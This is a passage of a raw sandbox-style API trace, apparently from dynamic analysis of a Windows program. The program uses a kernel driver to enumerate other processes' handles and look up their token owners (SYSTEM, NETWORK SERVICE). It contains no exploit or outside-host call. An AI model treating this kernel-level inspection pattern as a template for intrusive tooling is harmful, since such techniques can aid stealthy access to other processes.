Flags=0x0, Size=0x808) returned 0x280b20 [0123.608] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0123.608] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.608] PsAcquireProcessExitSynchronization () returned 0x0 [0123.608] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880044355d0) [0123.608] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80026f13a0, HandleInformation=0x0) returned 0x0 [0123.608] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.608] PsReleaseProcessExitSynchronization () returned 0x2 [0123.608] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0123.608] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.608] ObfDereferenceObject (Object=0xfffffa80026f13a0) returned 0x1 [0123.608] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.608] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.608] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.608] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.608] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.608] PsAcquireProcessExitSynchronization () returned 0x0 [0123.608] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880044355d0) [0123.608] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.608] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.608] PsReleaseProcessExitSynchronization () returned 0x2 [0123.608] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0123.608] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.608] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.608] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.609] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.609] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.609] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0123.609] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.609] PsAcquireProcessExitSynchronization () returned 0x0 [0123.609] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880044355d0) [0123.609] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003473110, HandleInformation=0x0) returned 0x0 [0123.609] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.609] PsReleaseProcessExitSynchronization () returned 0x2 [0123.609] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0123.609] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.609] ObfDereferenceObject (Object=0xfffffa8003473110) returned 0x1 [0123.609] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.609] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.609] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.609] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.609] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.609] PsAcquireProcessExitSynchronization () returned 0x0 [0123.609] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880044355d0) [0123.609] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0001f58e0, HandleInformation=0x0) returned 0x0 [0123.609] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.609] PsReleaseProcessExitSynchronization () returned 0x2 [0123.609] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0123.609] ObQueryNameString (in: Object=0xfffff8a0001f58e0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.609] ObfDereferenceObject (Object=0xfffff8a0001f58e0) returned 0x1 [0123.609] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.609] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.610] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0123.610] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.610] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80022bd7b0, HandleInformation=0x0) returned 0x0 [0123.610] ObOpenObjectByPointer (in: Object=0xfffffa80022bd7b0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000960) returned 0x0 [0123.610] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x3a [0123.610] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.610] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0123.610] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.610] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.610] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.611] CloseHandle (hObject=0xc8) returned 1 [0123.611] CloseHandle (hObject=0xc0) returned 1 [0123.611] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0123.611] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.611] PsAcquireProcessExitSynchronization () returned 0x0 [0123.611] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0) [0123.611] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021662c0, HandleInformation=0x0) returned 0x0 [0123.611] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.611] PsReleaseProcessExitSynchronization () returned 0x2 [0123.612] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0123.612] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.612] ObfDereferenceObject (Object=0xfffffa80021662c0) returned 0x1 [0123.612] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.612] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.612] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0123.612] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.612] PsAcquireProcessExitSynchronization () returned 0x0 [0123.612] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0) [0123.612] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80022c2840, HandleInformation=0x0) returned 0x0 [0123.612] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.612] PsReleaseProcessExitSynchronization () returned 0x2 [0123.612] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0123.612] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.612] ObfDereferenceObject (Object=0xfffffa80022c2840) returned 0x1 [0123.612] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.612] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.612] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0123.612] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.612] PsAcquireProcessExitSynchronization () returned 0x0 [0123.612] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0) [0123.612] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0123.612] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.612] PsReleaseProcessExitSynchronization () returned 0x2 [0123.612] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0123.612] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.612] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0123.612] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.612] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.612] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0123.612] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.613] PsAcquireProcessExitSynchronization () returned 0x0 [0123.613] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0) [0123.613] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0123.613] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.613] PsReleaseProcessExitSynchronization () returned 0x2 [0123.613] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0123.613] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.613] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0123.613] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.613] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.613] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.613] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0123.613] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.613] PsAcquireProcessExitSynchronization () returned 0x0 [0123.613] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0) [0123.613] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0123.613] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.613] PsReleaseProcessExitSynchronization () returned 0x2 [0123.613] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0123.613] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.613] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0123.613] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.613] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.613] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.613] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0123.613] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.613] PsAcquireProcessExitSynchronization () returned 0x0 [0123.613] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0) [0123.613] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80022d2a60, HandleInformation=0x0) returned 0x0 [0123.613] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.613] PsReleaseProcessExitSynchronization () returned 0x2 [0123.613] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0123.614] ObQueryNameString (in: Object=0xfffffa80022d2a60, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.614] ObfDereferenceObject (Object=0xfffffa80022d2a60) returned 0x1 [0123.614] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.614] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.614] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.614] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0123.614] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.614] PsAcquireProcessExitSynchronization () returned 0x0 [0123.614] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880044355d0) [0123.614] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80023145e0, HandleInformation=0x0) returned 0x0 [0123.614] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.614] PsReleaseProcessExitSynchronization () returned 0x2 [0123.614] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0123.614] ObQueryNameString (in: Object=0xfffffa80023145e0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0123.614] ObfDereferenceObject (Object=0xfffffa80023145e0) returned 0x2 [0123.614] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.614] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.614] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbec) returned 0xc0 [0123.614] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.614] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80023109d0, HandleInformation=0x0) returned 0x0 [0123.614] ObOpenObjectByPointer (in: Object=0xfffffa80023109d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000960) returned 0x0 [0123.614] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x41 [0123.614] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.614] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0123.614] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.614] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.615] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.616] CloseHandle (hObject=0xc8) returned 1 [0123.616] CloseHandle (hObject=0xc0) returned 1 [0123.616] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0123.616] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.616] PsAcquireProcessExitSynchronization () returned 0x0 [0123.616] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0) [0123.616] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002359770, HandleInformation=0x0) returned 0x0 [0123.616] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.616] PsReleaseProcessExitSynchronization () returned 0x2 [0123.616] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0123.616] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800371b7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800371b7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.616] ObfDereferenceObject (Object=0xfffffa8002359770) returned 0x1 [0123.616] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.616] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.616] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0123.616] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.616] PsAcquireProcessExitSynchronization () returned 0x0 [0123.616] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880044355d0) [0123.616] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80023184d0, HandleInformation=0x0) returned 0x0 [0123.617] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.617] PsReleaseProcessExitSynchronization () returned 0x2 [0123.617] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0123.617] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435508) returned 0x0 [0123.617] ObfDereferenceObject (Object=0xfffffa80023184d0) returned 0x1 [0123.617] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.617] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.617] RtlAllocateHeap 